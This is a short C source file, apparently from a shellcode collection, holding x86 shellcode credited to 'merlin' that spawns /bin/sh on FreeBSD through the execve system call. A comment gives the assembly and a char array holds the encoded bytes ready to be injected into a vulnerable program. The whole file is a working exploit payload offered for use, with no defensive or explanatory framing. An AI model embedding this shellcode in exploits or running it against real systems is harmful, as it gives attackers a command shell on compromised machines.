/***************************
* Shellcode written by merlin
* spawing a simple /bin/sh
* tested on FreeBSD should 
* be easy to modify it for 
* the other *BSD systems
*
* ___ asm ___
* xorl %eax,%eax
* pushl %eax
*: pushl $0x68732f2f
* pushl $0x6e69622f
* movl %esp,%ebx
* pushl %eax
* pushl %eax
* pushl %ebx
* pushl %eax
* movb $0x3b, %al
* int $0x80
***************************/

char shellcode[]="\x31\xc0\x50\x68\x2f\x2f"
		 "\x73\x68\x68\x2f\x62\x69"
		 "\x6e\x89\xe3\x50\x50\x53"
		 "\x50\xb0\x3b\xcd\x80";
